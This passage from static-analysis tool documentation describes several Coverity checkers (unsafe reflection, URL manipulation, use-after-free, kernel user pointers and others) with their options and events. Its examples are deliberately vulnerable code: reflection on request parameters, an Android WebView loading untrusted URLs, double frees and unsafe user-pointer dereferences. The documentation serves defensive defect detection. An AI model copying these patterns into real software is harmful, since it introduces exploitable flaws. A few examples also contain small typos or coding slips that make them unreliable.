This section provides one or more UNSAFE_REFLECTION examples.
In the following example, the method obtains a class name through the HTTP request
parameter typeValue. This class name is then passed to a reflection API
method Class.forName. The example then invokes the invoke
method on the class.
protected void invokeObjectType(HttpServletRequest request, String className)
throws ServletException
{
if (className == null) {
className = request.getParameter("typeValue");
}
try {
Class clazz = Class.forName(className);
Method method = clazz.getMethod("invoke", null);
method.invoke(null, null);
//...
} catch (Exception e) {
throw new ServletException("Error reflecting on " + className);
}
}An attacker can pass in any class on the class path that has a public no-argument
method called invoke. The invocation of that method might cause
unforeseen side effects within the application.
In the following example, the snippet obtains the name of a comparator from an HTTP request parameter, and stores it in a variable. The comparator function is then invoked via reflection and used to compute the difference of two arrays. While the expectation is for the user to supply the name of a function that orders pairs of elements, an attacker could supply an arbitrary function. This would allow them to bypass security checks, obtain unauthorized data, or execute arbitrary code.
<?php $comparo = $_GET['keyComparator']; array_diff_uassoc($ar1, $ar2, $comparo); ?>
This section describes one or more UNSAFE_REFLECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNSAFE_REFLECTION:distrust_all:<boolean>
- [PHP only] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
UNSAFE_REFLECTION:distrust_all:false.
This checker option is automatically set to true if the
UNSAFE_REFLECTION:webapp-security-aggressiveness-level option
of the cov-analyze command is set to
high.
UNSAFE_REFLECTION:trust_command_line:<boolean> - [PHP
only] Setting this option to false causes the
analysis to treat command line arguments as tainted. Defaults to
UNSAFE_REFLECTION:trust_command_line:true.
Setting this checker option will override the global
--trust-command-line and --distrust-command-line
command line options.
UNSAFE_REFLECTION:trust_console:<boolean> - [PHP only]
Setting this option to false causes the
analysis to treat data from the console as tainted. Defaults to
UNSAFE_REFLECTION:trust_console:true. Setting
this checker option will override the global --trust-console and
--distrust-console command line options.
UNSAFE_REFLECTION:trust_cookie:<boolean> - [PHP only]
Setting this option to false causes the analysis to treat data from HTTP cookies
as tainted. Defaults to
UNSAFE_REFLECTION:trust_cookie:false. Setting
this checker option will override the global --trust-cookie and
--distrust-cookie command line options.
UNSAFE_REFLECTION:trust_database:<boolean> - [PHP only]
Setting this option to false causes the analysis to treat data from a database
as tainted. Defaults to
UNSAFE_REFLECTION:trust_database:true. Setting
this checker option will override the global --trust-database and
--distrust-database command line options.
UNSAFE_REFLECTION:trust_environment:<boolean> - [PHP
only] Setting this option to false causes the analysis to treat data from
environment variables as tainted. Defaults to
UNSAFE_REFLECTION:trust_environment:true. Setting
this checker option will override the global --trust-environment
and --distrust-environment command line options.
UNSAFE_REFLECTION:trust_filesystem:<boolean> - [PHP
only] Setting this option to false causes the analysis to treat data from the
filesystem as tainted. Defaults to
UNSAFE_REFLECTION:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem and
--distrust-filesystem command line options.
UNSAFE_REFLECTION:trust_http:<boolean> - [PHP only]
Setting this option to false causes the analysis to treat data from HTTP
requests as tainted. Defaults to
UNSAFE_REFLECTION:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
UNSAFE_REFLECTION:trust_http_header:<boolean>
- [PHP only] Setting this option to false causes the analysis to treat data
from HTTP headers as tainted. Defaults to
UNSAFE_REFLECTION:trust_http_header:false.
Setting this checker option will override the global
--trust-http-header and --distrust-http-header
command line options.
UNSAFE_REFLECTION:trust_network:<boolean> - [PHP only]
Setting this option to false causes the analysis to treat data from the network
as tainted. Defaults to
UNSAFE_REFLECTION:trust_network:false. Setting
this checker option will override the global --trust-network and
--distrust-network command line options.
UNSAFE_REFLECTION:trust_rpc:<boolean> - [PHP only]
Setting this option to false causes the analysis to treat data from RPC requests
as tainted. Defaults to
UNSAFE_REFLECTION:trust_rpc:false. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc command line options.
UNSAFE_REFLECTION:trust_system_properties:<boolean> -
[PHP only] Setting this option to false causes the analysis to treat data from
system properties as tainted. Defaults to
UNSAFE_REFLECTION:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
This section describes one or more events produced by the UNSAFE_REFLECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++
UNUSED_VALUE finds many instances of values that are assigned to variables but never used. For example, it can find places where a typographical or cut-and-paste error means that the wrong variable is being accessed. The analysis should never report a value as unused if it actually is used. Contact the support team if this occurs.
Enabled by default: UNUSED_VALUE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more UNUSED_VALUE examples.
#include <string.h>
const char* get_capital_city(const char *country)
{
const char *result = 0;
if (strcmp(country, "Argentina") == 0) {
result = "Buenos Aires"; // Assigned value will never be used.
} else if (strcmp(country, "Italy") == 0) {
result = "Rome"; // Assigned value will never be used.
} if (strcmp(country, "China") == 0) { // Should be 'else if' here.
result = "Beijing";
} else {
result = "Unknown"; // This will overwrite values
// "Buenos Aires" and "Rome".
}
return result;
}class Test {
int func(bool b)
{
int i = 0;
if (b) {
i = 10; // Assigned value 10 is never used.
}
i = 20; // Value is overwritten.
return i;
}
}This section describes one or more UNUSED_VALUE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNUSED_VALUE:defects_threshold_on_var:<count> - In
some coding environments, a variable will be intentionally assigned values many
times without being used. This option sets a
threshold for the number of defects above which no defect will be reported for
assignments to the same variable. This option can take a value from
1 to 99. Defaults to
UNUSED_VALUE:defects_threshold_on_var:2
UNUSED_VALUE:report_adjacent_assignment:<boolean> -
When this option is true, the checker will
report defects where an assignment is immediately overwritten with another
assignment. Defaults to
UNUSED_VALUE:report_adjacent_assignment:true (for
C, C++, C#, Java, Objective-C, Objective-C++).
Such defects typically occur in the following cases:
Where a non-simple assignment was intended, for example:
void test1(int x) {
x = 1; // Defect here.
x = 2; // Did the programmer mean "x |= 2" here?
...
}Where an incorrect variable is used (perhaps because of a cut-and-paste error), for example:
void test2(int x, int y) {
x = someX; // Defect here.
x = someY; // Did the programmer mean "y = someY" here?
...
}Such defects receive a Medium impact rating.
UNUSED_VALUE:report_dominating_assignment:<boolean> -
By default, the checker does not report cases where all the control flow paths
that overwrite a value also contain the former assignment of this value to a
variable. The assignment is said to dominate the value overwrite. When this
option is true, such cases will be reported
as defects, but it can also cause the checker to report some instances where a
program defensively initializes a variable and then reassigns it without ever
using the initializing value. Defaults to
UNUSED_VALUE:report_dominating_assignment:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
UNUSED_VALUE:report_never_read_variable:<boolean> -
When this option is true, the checker will
report cases where a variable is assigned one or more values but none are used.
Defaults to
UNUSED_VALUE:report_never_read_variable:false
UNUSED_VALUE:report_overwritten_initializer:<boolean>
- When this option is true, the checker will
report cases where a value that initialized a variable is overwritten before it
is used. Defaults to
UNUSED_VALUE:report_overwritten_initializer:true
UNUSED_VALUE:report_unused_final_assignment:<boolean>
- When this option is true, the checker will
report cases where a variable is assigned a final value, but that value is never
used before the variable goes out of scope. Defaults
to
UNUSED_VALUE:report_unused_final_assignment:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
UNUSED_VALUE:report_unused_initializer:<boolean> -
When this option is true, the checker will
report cases where a value that initialized a variable is never used or
overwritten. Defaults to
UNUSED_VALUE:report_unused_initializer:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
This section describes one or more events produced by the UNUSED_VALUE checker.
assigned_pointer - [C/C++] A pointer value from a constant or
variable was assigned to a variable. The value was not subsequently used.
assigned_reference - [C# and Java only] An object reference
value from a constant or variable was assigned to a variable. The value was not
subsequently used.
assigned_value - A value from a constant or variable and that
is not a pointer (C/C++) or an object reference (C#, Java) was assigned to a
variable. The value was not subsequently used.
returned_pointer - [C/C++] A pointer value returned by a
function call was assigned to a variable. The value was not subsequently
used.
returned_reference - [C# and Java] An object reference value
returned by a function call was assigned to a variable. The value was not
subsequently used.
returned_value - A value returned by a function call and that
is not a pointer (C/C++) or an object reference (C#, Java) was assigned to a
variable. The value was not subsequently used.
value_overwrite - A new value was assigned to a variable
which was holding a tracked value.
URL_MANIPULATION
detects instances in which a URL or a URI is constructed unsafely. An attacker who has
control over the URL schema can access or modify a private file in the application that
contains sensitive information. An attacker with control over the URL authority can
mount a phishing attack by modifying the URL value to point to a malicious Web site. An
attacker who controls the query part of the URL can perform directory traversal in a
path (for example, ../) or specify absolute paths.
These types of vulnerabilities can be prevented by proper input validation. User input should be whitelisted to contain only the expected values or characters.
The URL_MANIPULATION checker uses the global trust model to determine whether to trust
servlet inputs, network data, filesystem data, or database information. You can use the
--trust-* and/or --distrust-* options to
cov-analyze to modify the current settings.
Disabled by default: URL_MANIPULATION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable URL_MANIPULATION
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable URL_MANIPULATION
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
A URL_MANIPULATION defect shows a dataflow path by which untrusted (tainted) data is used to construct a URL or a URI. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string used in an API that attempts to access the URL. In the absence of proper validations, the data might cause the program to connect to a malicious website or to read, leak information about, write, or otherwise alter an unexpected file.
This section provides one or more URL_MANIPULATION examples.
The following is a simple example of an
instance where URL_MANIPULATION would report a defect in an Android application. If
WebActivity is exported, a malicious application can send an Intent
that contains a URL pointing to a malicious Web site or a sensitive file local to the
application.
public class WebActivity extends Activity {
@Override
protected void onCreate(Bundle bundle) {
WebView webview = new WebView(this);
String url = getIntent().getStringExtra("url");
webview.loadUrl(url); // Defect here
}
}Supported Languages: C, C++, Java, Objective-C, Objective-C++
This C, C++, Java, Objective-C, Objective-C++ finds many cases where memory or a resource is used after it has been freed or closed. The consequence of using memory after freeing it is almost always memory corruption and a later program crash. The consequence of using a resource after closing it depends on the API in use.
C, C++, Objective-C, Objective-C++:
Enabled by default: USE_AFTER_FREE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
Java:
Disabled by default: USE_AFTER_FREE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Android (Java only): For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.
For C/C++, USE_AFTER_FREE finds many types of double frees
and freed pointer dereferences. You cannot safely use freed memory. Double free defects
occur when free() is called more than once with the same memory address
argument. Double freeing a pointer can result in memory free list corruption and
crashes. Dereferencing a freed pointer is dangerous because the pointer's value might
have been changed to a non-pointer value or a pointer to an arbitrary location.
In multi-threaded programs, double frees are especially dangerous because one thread could allocate another's freed memory, resulting in very difficult to track race-conditions.
For Java, USE_AFTER_FREE issues a defect if an object is used after it has released its resources. In particular, the checker discovers cases in which the code attempts to call a method on an object that has already been closed, released, and recycled. Such objects are invalid and unusable, and running code with this error can produce data corruption or an exception.
This section provides one or more USE_AFTER_FREE examples.
The following example dereferences a pointer after it is freed.
void fun(int * p) {
free (p);
int k = *p; // Defect
} The following example shows a double free defect occurring over two different functions.
int f(void *p) {
if(some_error()) {
free(p);
return -1;
}
return 0;
}
void g() {
void *p = malloc(42);
if(f(p) < 0) {
free(p); // Double free
}
use(p);
}The following example shows a deallocated pointer that is dereferenced.
void use_after_free(struct S *p) {
free(p);
free(p->field); // Dereference
}The following example also shows a deallocated pointer that is dereferenced.
int f(int i) {
int *p = malloc(8);
free (p);
int res = p[i];
}USE_AFTER_FREE reports a defect in the following example
when the allow_report_args option is enabled.
extern int ext(int *p);
void fun() {
int * p = malloc(100);
free(p); // Pointer freed
ext(p); // Pointer used as arg
}The following example attempts to set the volume of a MediaPlayer
object after releasing the object. Such a coding error will trigger a
UseAfterFreeEvent event.
void UseAfterFreeExample() {
android.media.MediaPlayer mp = new android.media.MediaPlayer();
mp.release(); // Release all MediaPlayer resources.
mp.setVolume(1, 1); // Cannot use the MediaPlayer now!
}This section describes one or more USE_AFTER_FREE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
USE_AFTER_FREE:allow_simple_use:<boolean> - When this
optoin is true, the checker reports a
defect when a freed pointer reappears in the code. Defaults to USE_AFTER_FREE:allow_simple_use:false (for C
and C++ only).
If you disable this option, the checker will only report errors when freed pointers are dereferenced or used as function arguments.
USE_AFTER_FREE:allow_report_args:<boolean> - When this
C/C++ option is true, the checker reports
a defect when a freed pointer is passed to a function. If you set this option to
false, the checker will report a defect on the passing of a
freed pointer only if the function is known to free or dereference it. Note that
if you re-enable this option, existing defects are not affected: defects from
different analysis runs will be merged properly. Defaults to USE_AFTER_FREE:allow_report_args:true (for C
and C++ only).
If a false positive is reported because the analysis is unable to correctly abstract a deallocation function's interface, then model that function explicitly as a stub function. If the false positive occurs on a path that Coverity Analysis considers executable even though it is not, use code annotations to explicitly suppress the events causing the error.
As with the RESOURCE_LEAK checker, Coverity Analysis tries to abstract a deallocation function's behavior from the caller's perspective. This means that if a function's deallocation event depends on an argument value or only occurs when certain values are returned, Coverity Analysis attempts to model this behavior and reflect it at each call location. If Coverity Analysis cannot precisely track a deallocation function's abstract behavior you can write a stub function to model the correct behavior:
int my_free(void* ptr)
{
int condition;
if (condition) {
free(ptr);
return 1;
}
return 0;
}At
each call to my_free(), the pointer argument can be either
freed or left untouched. The condition under which the function determines whether
or not it should free the pointer is irrelevant for modeling the function's abstract
behavior. At all call sites, the caller is expected to verify that the return value
of my_free() is 0 before re-using the
pointer. The above function uses the uninitialized variable
condition to reflect this, similar to the RESOURCE_LEAK
example. To turn this stub function into a model for analysis, use
cov-make-library. If your code has a class with the type of behavior that USE_AFTER_FREE checks, you can increase the usefulness and accuracy of the checker by writing small stub functions that model the behavior of the class. For example, if a given set of methods should never be called after a certain method in a class is called, then modeling is an appropriate option.
Using the supplemental information in the model, Coverity Analysis can locate paths throughout
the code in which resources have been freed and then improperly used. If you call a
Coverity free() or use() method, the analysis can determine
which routines free or use the given object.
public class ResourceUser {
public void release() {
com.coverity.primitives.UseAfterFreePrimitives.free(this);
}
public void useSomeResource(android.view.SurfaceHolder mySurfaceHolder) {
com.coverity.primitives.UseAfterFreePrimitives.use(this);
}
public SomeClass useSomeResource(SomeClass foo) {
com.coverity.primitives.UseAfterFreePrimitives.use(this);
return com.coverity.primitives.Coverity.unknown();
}
}
In the example above, the method signature must match the method to be modeled. In
the model, the two useSomeResource() methods model methods that have
different method signatures.
The following example models USE_AFTER_FREE and RESOURCE_LEAK defects together because classes that are subject to USE_AFTER_FREE defects are often susceptible to RESOURCE_LEAK defects.
public class ResourceUser {
public ResourceUsingObject() {
com.coverity.primitives.Resource_LeakPrimitives.open(this);
}
public void release() {
com.coverity.primitives.Resource_LeakPrimitives.close(this);
com.coverity.primitives.UseAfterFreePrimitives.free(this);
}
public void useSomeResource(android.view.SurfaceHolder mySurfaceHolder) {
com.coverity.primitives.UseAfterFreePrimitives.use(this);
}
}To model all implementations of an interface, simply create a model with the same fully qualified class name as the interface in question.
This section describes one or more events produced by the USE_AFTER_FREE checker.
alias - [Java] Aliasing of a reference by another.
deref_after_free - [C/C++] A defect is reported when a
deallocated pointer is dereferenced. Ignore this event if the analysis
incorrectly interprets an operation as a dereference of a deallocated
pointer.
double_free - [C/C++] A defect is reported when a pointer is
freed multiple times. Ignore this event if the operation is not, in fact, a
deallocation or if the pointer is not the same value as it was in the first
deallocation.
freed_arg - [C/C++] Ignore this event if the analysis
incorrectly indicates that a function frees a pointer when, due to the callsite
context, it does not.
object_freed - [Java] Call to a method that frees the
object.
pass_freed_arg - [C/C++] A call to a function whose argument
is a freed pointer.
use_after_free - [C/C++] A defect is
reported when a deallocated pointer is used in a suspicious way (for example,
passed as an argument to a function). If the use in question is safe, ignore
this event.
use_after_free - [Java] Use of an
object that has already been freed.
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++
USELESS_CALL identifies calls to functions that are considered useless because their return value is ignored and the function call has no other discernible effect, such as performing I/O. Such a defect usually indicates either that the programmer expected the call to modify existing data structures or to interact with the environment (in which case a different function needs to be called), or that the programmer intended to use the return value but neglected to do so.
This checker is enabled by default for C, C++, C#, Java, Objective-C and Objective-C++.
In addition to its built-in ability to analyze APIs that are common sources of this issue, the checker also identifies functions that are intended to be useful only for their return value. It reports useless calls to such functions unless it discovers certain “side effects” to the function or detects other clues that the function is incomplete or might otherwise have side effects in the future or in a different configuration. To report virtual calls, the checker must find that all resolutions qualify as a defect.
In some cases, functions are called for effects, such as forcing class loading, forcing linking or dependency, performance testing, or testing for robustness. Coverity suggests that you mark defect reports on such unusual code as Intentional in Coverity Connect.
Note that a related checker, CHECKED_RETURN, can report defects on calls to functions with side effects, such as I/O functions. Additionally, CHECKED_RETURN analyses can report defects based on the ways return values are used, whereas USELESS_CALL will not report a defect if the return value is used in any way. Finally, USELESS_CALL analyses apply to any kind of non-void return type (scalar, pointer, reference); see also NULL_RETURNS.
This section provides one or more USELESS_CALL examples.
The following C++ code example show pairs of integers and a function that swaps the coordinates.
struct pair_t
{
pair_t(int x, int y) : x_(x), y_(y) {}
int x_;
int y_;
};
pair_t swap(pair_t xy)
{
return pair_t(xy.y_, xy.x_);
}
A developer who mistakenly believes that the swap function shown
above will modify its argument (by swapping the coordinates in place) is likely to
write defective code, for example:
void incorrect()
{
...
swap(xy); /* Defect: swap does not modify its argument */
...
}The following example shows a likely fix to such a defect.
void correct()
{
...
xs = swap(xy);
...
}The following example demonstrates uses of functions where the programmer mistakenly believes that the object on which the function is called, or one of the arguments passed to the function, will be modified.
{
...
String str = "aaa";
str.Replace('a', 'b'); /* Defect: str is not modified. */
...
}
The Replace method leaves str unmodified and returns a
new string with a replaced by b. Therefore, once the call
to Replace takes place, any code that depends on str
not using a will be incorrect.
The following example provides a likely fix for this issue.
public void correct()
{
...
String str = "aaa";
str = str.Replace('a', 'b');
...
}
The String class in C# has a number of methods where it is common to
think that calling the function will mutate the string, when in reality a new string
is returned.
The following example demonstrates the behavior of the checker in three simple cases involving virtual functions.
interface I
{
public int foo(int x);
public int bar(int x);
}
class I0 implements I
{
public int foo(int x){ return x + 1; }
public int bar(int x){ return x + 1; }
private int x_;
}
class I1 implements I
{
public int foo(int x){ return x + 1; }
public int bar(int x){ ++x_; return x + 1; }
private int x_;
}
void example(I1 ii, I0 i0)
{
ii.foo(0); /* Defect here */
ii.bar(0); /* No defect here */
i0.bar(0); /* Defect here */
}This section describes one or more USELESS_CALL options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
USELESS_CALL:ignore_callee_with_macro_use_fn:<boolean>
- When this option is set to true, the checker
ignores calls to functions that use preprocessor macros
with arguments, either directly or through a function
call themselves. Defaults to
USELESS_CALL:ignore_callee_with_macro_use_fn:false (C
and C++ only).
USELESS_CALL:ignore_callee_with_macro_use_plain:<boolean>
- When this option is set to true, the checker
ignores calls to functions that use preprocessor macros
without arguments, either directly or through a
function call themselves. Defaults to
USELESS_CALL:ignore_callee_with_macro_use_plain:false
(C and C++ only).
USELESS_CALL:include_current_object_call_sites:<boolean>
- When this option is set to true, calls to
member functions (methods) in which the receiver object is this are
included as possible defects. Defaults to
USELESS_CALL:include_current_object_call_sites:false
(all languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
USELESS_CALL:include_macro_call_sites_fn:<boolean> -
When this option is set to true, the checker
will search for defects in calls to functions instantiated through preprocessor
macros with arguments. Defaults
to USELESS_CALL:include_macro_call_sites_fn:false (C and
C++ only).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
USELESS_CALL:include_macro_call_sites_plain:<boolean>
- When this option is set to true, the checker
will search for defects in calls to functions instantiated through preprocessor
macros without arguments. Defaults to
USELESS_CALL:include_macro_call_sites_plain:false (C
and C++ only).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
Coverity provides C, C++, C#, Java, Objective-C, Objective-C++ primitives that you use to declare that a function (or method) is only useful for its return value (and is therefore free of side effects) or that the function has side effects. There are corresponding annotations for Java methods, as well as an annotation that applies to a class and declares all static methods to be free of side effects.
C/C++ Primitives
Has no side effects:
__coverity_side_effect_free__(void)
Has side effects:
__coverity_side_effects__(void)
Note that example in Section 4.234.4.3, “Java Models and Annotations” calls the Java version of this primitive.
C# Primitives
Has no side effects:
Coverity.Primitives.SideEffect.SideEffectFree()
Has side effects:
Coverity.Primitives.SideEffect.SideEffects()
Note that example in Section 4.234.4.3, “Java Models and Annotations” calls the Java version of this primitive.
Java Primitives
Has no side effects:
com.coverity.primitives.SideEffectPrimitives.sideEffectFree()
Has side effects:
com.coverity.primitives.SideEffectPrimitives.sideEffects()
Java Annotations
Has no side effects:
com.coverity.annotations.SideEffectFree
Has side effects:
com.coverity.annotations.SideEffects
The @SideEffectFree annotation and the sideEffectFree()
primitive make the checker treat a method as though it has no side effects, meaning
that the checker will report a defect on a call to the method even if it does
produce side effects.
import com.coverity.annotations.*;
import com.coverity.primitives.*;
public static int g_count;
@SideEffectFree
public static int foo()
{
++g_count;
return g_count;
}
public static int bar()
{
com.coverity.primitives.SideEffectPrimitives.sideEffectFree();
++g_count;
return g_count;
}
public void example()
{
foo(); /* defect */
bar(); /* defect */
}By contrast, the @SideEffectFree annotation and the
SideEffectFree() primitive assert that side effects exist. The
checker will never report a useless call defect on a method that uses this
annotation or calls this primitive.
This section describes one or more events produced by the USELESS_CALL checker.
side_effect_free - The function is only useful for its return
value.
side_effect_free_fn - Indicates that a particular callee is
thought to be side-effect-free, and therefore only useful for its return
value.
Supported Languages: C, C++, Objective-C, Objective-C++
USER_POINTER finds many cases where an operating
system kernel unsafely dereferences user pointers. Operating systems cannot directly
dereference user-space pointers safely. Instead, they must access the pointed-to data
using special "paranoid" routines (for example: using the copyin()
and copyout() functions on BSD derived systems, or the
copy_from_user() and copy_to_user()
functions on Linux derived systems). A single unsafe dereference can crash the system,
allow unauthorized reading/writing of kernel memory, or give a malicious party complete
system control. This checker is only useful when scanning kernel-level operating system
code.
Disabled by default: USER_POINTER is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more USER_POINTER examples.
The following example has a defect because
pstr is correctly copied in from user space with the
copyin() method, but its field ps_argvstr, another pointer
to user space memory, is unsafely dereferenced by the expression
pstr.ps_argvstr[i].
void user_pointer_example() {
error = copyin((void *)p->p_sysent->sv_psstrings, &pstr, sizeof(pstr));
if (error)
return (error);
for (i = 0; i < pstr.ps_nargvstr; i++) {
sbuf_copyin(sb, pstr.ps_argvstr[i], 0);
sbuf_printf(sb, "%c", '\0');
}
}
You can use the __coverity_user_pointer__ primitive to create custom
models for USER_POINTER:
unsigned long custom_user_to_kernel_copy(void *to, const void *from, unsigned long n) {
__coverity_user_pointer__(to);
}This
model indicates that custom_user_to_kernel_copy() will copy
untrusted user-space memory into the struct pointed-to by to.This section describes one or more events produced by the USER_POINTER checker.
user_to_kernel - A call to a function that copies data from
user-space memory to kernel-space memory.
user_pointer - A user pointer has been passed to a
dereferencing function, or a local dereference has occurred.
Supported Languages: C, C++, Objective-C, Objective-C++
VARARGS verifies correct usage of the variable
argument macros from the standard header stdarg.h.
![]() | |
This checker only works for code that was compiled by gcc and possibly some gcc-based compilers. |
The rules enforced by this checker include:
va_start or va_copy must be followed by
va_end.
va_start or va_copy must be called before
va_arg.
Incorrect use of these macros can result in memory corruption or unpredictable behavior.
Enabled by default: VARARGS is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more VARARGS examples.
In this example, va_end is not
called:
void missing_vaend(char *s, ...)
{
va_list va;
va_start(va, s); // va_init - va_start is called on va
vfprintf(log, s, ap);
} // missing_va_end - reached end of function without calling va_endThe next example does not initialize va (with va_start or
va_copy) before use:
void missing_vastart(int n, ...)
{
va_list va;
while (n-- > 0) {
int c = va_arg(va, c); // va_arg - va has not been initialized
}
}The VCALL_IN_CTOR_DTOR checker finds cases where a virtual method is called from a constructor or from the destructor of a class.
The checker reports both the direct and indirect calls to virtual methods from within a class constructor or a destructor. In the case of the indirect call, additional events are generated for all the nested calls from the constructor/destructor to the actual virtual method being called.
Disabled by default: VCALL_IN_CTOR_DTOR is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more VCALL_IN_CTOR_DTOR examples.
In the following example, because we define an object of class B, you
might expect that the overridden B::virtMethod is called from within the
constructor of A. However, because objects are constructed from the base up
– that is, the base A object is constructed before the derived
B one, when the constructor of A is called, the derived
B is not yet constructed. (This is why the C++ standard disables the
virtual call mechanism in constructors and destructors.)
class A
{
public:
A() {
virtMethod();
}
virtual ~A();
virtual void virtMethod() {
cout << "A::virtMethod";
}
};
class B: public A
{
public:
B();
virtual ~B();
virtual void virtMethod() {
cout << "B::virtMethod";
}
};
int main () {
B b; // this will print "A::virtMethod" and not "B::virtMethod"
return 0;
}
Here is an example of a crash that can happen due to this unexpected behavior:
class A
{
public:
A() {
virtMethod(); // VCALL_IN_CTOR_DTOR is reported
}
virtual ~A();
virtual void virtMethod() = 0;
};
class B: public A
{
public:
B();
virtual ~B();
virtual void virtMethod();
};
int main () {
B b; // Results in a crash because A::virtMethod is called inside A::A constructor
// and not B::virtMethod as it might be expected by the author of the code.
return 0;
}
This section describes one or more events produced by the VCALL_IN_CTOR_DTOR checker.
call_to_virtual_method - Indicates the actual call to the
virtual method.
constructor_entry - The entry to the constructor.
destructor_entry - The entry to the destructor.
indirect_call_to_virtual_method - Indicates the indirect call
to the virtual method; that is, the call to a non-virtual method that calls a
virtual method.
virtual_method_decl - Indicates the declaration of the
virtual method.
Supported Languages: C++, Objective C++
VIRTUAL_DTOR looks for cases where the wrong destructor or
no destructor is called by the delete operator because an object is
upcast before it is deleted and the destructor is not virtual. The checker does not
report a defect if the derived class destructor is implicitly defined and does the same
thing as the base class destructor.
Undefined behavior only happens if the child class has a destructor that does more than invoke the parent's destructor. VIRTUAL_DTOR considers a class to have a non-trivial destructor if any of the following cases is true:
The destructor was not generated by the compiler; the destructor was explicitly specified by the user.
Any of the fields added in the child class has a destructor.
Enabled by default: VIRTUAL_DTOR is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more VIRTUAL_DTOR examples.
The following code leaks
B::p:
struct A {
};
struct B: public A {
B(): p(new int) {}
~B() { delete p; }
int *p;
};
void leak() {
A *a = new B;
// This will not invoke ~B()
delete a;
}Example 4.1. ignore_empty_dtors
In the following example, the report is suppressed by the
option -co VIRTUAL_DTOR:ignore_empty_dtors:
class X {
~X() {}
};
class Y: public X {
X x;
~Y() {}
};
void test() {
Y *y = new Y;
X *x = y;
delete x; // Does not call Y::~Y(). A defect is not reported.
}The following report is generated because the destructor for
Y is not empty, although it appears to be:
class X {
~X() {}
};
class Z {
~Z() { do_stuff(); }
};
class Y: public X {
Z z;
~Y() {} // Looks empty but calls Z::~Z(), which is not empty.
};
void test() {
Y *y = new Y;
X *x = y;
delete x; // Does not, but should call Y::~Y().
}This section describes one or more VIRTUAL_DTOR options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
VIRTUAL_DTOR:ignore_empty_dtors:<boolean> - When this
C++ option is true, the checker will
treat an empty destructor the same as an implicitly defined destructor. Defaults to
VIRTUAL_DTOR:ignore_empty_dtors:false
For an example, see Section 4.238.2, “Examples”.
VIRTUAL_DTOR:unimplemented_as_empty:<boolean> - When
this C++ option is true, the checker will
consider an unimplemented destructor empty. Defaults to
VIRTUAL_DTOR:unimplemented_as_empty:false.
This section describes one or more events produced by the VIRTUAL_DTOR checker.
delete - Indicate that there is a delete of a pointer to the
base class.
dtor_in_derived - Located at the derived class's destructor.
The class derived_class has a destructor and a pointer to it is
upcast to <base class>, which does not have a virtual
destructor.
non-empty_dtor_field - Indicates that a field in the derived
class causes that class to have a non-empty compiler-generated destructor,
because the type of the field itself has a non-trivial destructor.
non-trivial_dtor_base_class - Indicates that a base class
causes the derived class to have a non-trivial compiler-generated destructor,
because the base class itself has a non-trivial destructor..
no_virtual_dtor - Shows the location of the <base
class> definition. This is the main event for the defect and shows
that the class does not have a virtual destructor.
upcast - Indicate that there is an upcast from a pointer to
the derived class, to a pointer to the base class.
Supported Languages: C# and Java
VOLATILE_ATOMICITY
finds many cases where a non-atomic update (specifically, a write to a particular field
that uses the data from a previous read of the field) is made to a volatile field of a
class without holding a lock. Although the volatile keyword guarantees that
writes to a volatile field by some thread will be visible to other threads, it does not
guarantee that updates to a volatile field will occur as an atomic operation. Thus, if
updates to a volatile field are performed without some measure to guarantee the
atomicity of the update (such as acquiring a lock to perform the update), some updates
might be lost if the updates are concurrently executed by more than one thread.
